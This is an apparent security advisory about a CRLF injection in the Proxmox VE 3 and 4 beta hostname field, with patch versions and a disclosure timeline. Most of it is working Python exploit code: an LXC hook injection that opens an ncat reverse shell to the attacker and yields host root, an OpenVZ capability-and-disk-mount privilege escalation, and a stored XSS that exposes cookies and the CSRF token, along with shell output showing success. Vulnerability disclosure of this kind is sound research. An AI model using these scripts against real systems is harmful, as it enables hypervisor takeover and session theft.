扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 |
===================================================================== Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS, Privileges escalation) ===================================================================== Description =========== Proxmox is a popular virtualization solution based on KVM and Linux containers. A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the virtual machine creating form allowing authenticated remote users to overwrite configuration files settings. Configuration file overwriting ============================== Because the Proxmox VE application doesn't check the user-provided "hostname" POST parameter, it's possible to overwrite configuration files using a CRLF injection. In Proxmox VE 3, we successfully gained access to the host filesystem from a container and elevated our container capabilities, allowing us to obtain user credentials and sniff the network. In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we successfully gained root privileges on the host. It's also possible to exploit Proxmox clusters. **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-915 Proof of Concept ---------------- The following exploit works for Proxmox VE 4 beta 1. The lxc.hook.pre-start configuration variable is used to trigger the ncat reverse-shell payload when the container is started. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse from time import sleep def exploit(target, username, password, vmid, template, realm, reverse, hostname): payload = "ncat %s %s -e /bin/sh" % reverse print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpulimit": 1, "cpuunits": 1024, "net0":"name=eth0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Container Created... (Sleeping 20 seconds)" sleep(20) print "[+] Starting container..." startcontainer = requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" % (target, hostname, vmid), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}) if startcontainer.status_code == 200: response = startcontainer.json() if "success" in response and response["success"]: print "[+] Exploit should be working..." else: print "[!] Can't start container ! Try to start it manually." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." def handler(lport): print "[~] Starting handler on port %d" % lport t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print "[+] Connection from %s" % addr[0] t.sock = conn print "[+] Pop the shell ! :)" t.interact() if __name__ == "__main__": print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--localhost", required=True, help="Local host IP for the connect-back shell.") parser.add_argument("--localport", required=True, type=int, help="Local port for local bind handler") parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor " "(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) parser.add_argument("--hostname", required=True, help="The target hostname") args = parser.parse_args() handlerthr = Thread(target=handler, args=(args.localport,)) handlerthr.start() exploitthr = Thread(target=exploit, args=(args.target, args.username, args.password, args.vmid, args.template, args.realm, (args.localhost, args.localport), args.hostname)) exploitthr.start() handlerthr.join() Shell output : nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python remoteroot.py --target 10.25.0.101:8006 --username nicolas --password pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve --hostname pve4 [~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com> [~] Starting handler on port 9999 [~] Obtaining authorization key... [+] Authentication success. [+] Container Created... (Sleeping 20 seconds) [+] Exploit should be working... [+] Connection from 10.25.0.101 [+] Pop the shell ! whoami root id uid=0(root) gid=0(root) groups=0(root) The following exploit works for Proxmox VE 3. This proof of concept mount the host /dev/dm-0 on the container and add multiples capabilities on the container. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse def exploit(target, username, password, vmid, template, realm, hostname): payload = "sysdream\"\nDEVNODES=\"dm-0:r \"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on, dac_override:on\"\n#" print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname": payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpus": 1, "netif":"ifname=eth0,bridge=vmbr0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Countainer (Capabilities + DM-0 Mount) Created." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." if __name__ == "__main__": print "[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--hostname", required=True, help="The target hostname") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) args = parser.parse_args() exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.hostname) Shell output : nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python privescalation.py --username root --password sysofdream --vmid 123 --realm pam --target 10.25.0.110:8006 --hostname pve3 [~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com> [~] Obtaining authorization key... [+] Authentication success. [+] Countainer (Capabilities + DM-0 Mount) Created. -- On container : root@sysdream:/# ls -lah /dev/dm-0 brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0 --- Stored Cross-Site Scripting =========================== Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1. **Access Vector**: remote **Security Risk**: high Proof of Concept ---------------- The following exploit will create a stored XSS displaying the user cookies and the PVE CSRFPreventionToken. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse def exploit(target, username, password, vmid, template, realm, version, hostname): payload = "eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))" print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] if version == "4": createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"<img/src='https://www.exploit-db.com/exploits/39499/x'/onerror=%s>" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpulimit": 1, "cpuunits": 1024, "net0":"name=eth0"}) elif version == "3": createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"<img/src='https://www.exploit-db.com/exploits/39499/x'/onerror=%s>" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpus": 1, "netif":"ifname=eth0,bridge=vmbr0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Stored XSS Created." else: print "[!] Error creating container..." print response else: print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code else: print "[!] Authentication failed - Check the credentials..." if __name__ == "__main__": print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)") parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.") parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz", help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)") parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"]) parser.add_argument("--version", default="3", choices=["3", "4"], help="The Proxmox version to exploit") parser.add_argument("--hostname", required=True, help="The target hostname") args = parser.parse_args() exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.version, args.hostname) --------------- Vulnerable code --------------- The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for Proxmox 4. For Proxmox 3, the vulnerable code is located in /usr/share/perl5/PVE/OpenVZ.pm. -------- Solution -------- Proxmox 4 : Update to pve-container 0.9-22 Proxmox 3 : Update to pve-manager 3.4-10 Timeline (dd/mm/yyyy) ===================== 04/09/2015 : Initial discovery. 17/09/2015 : Contact with proxmox team. 18/09/2015 : Proxmox fixes the vulnerabilities. 18/09/2015 : Proxmox releases a new pve-container version (0.9-22) 18/09/2015 : Proxmox releases a new pve-manager version (3.4-10) Affected versions ================= * Proxmox VE 4 * Proxmox VE 3 Credits ======= * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com) |
体验盒子
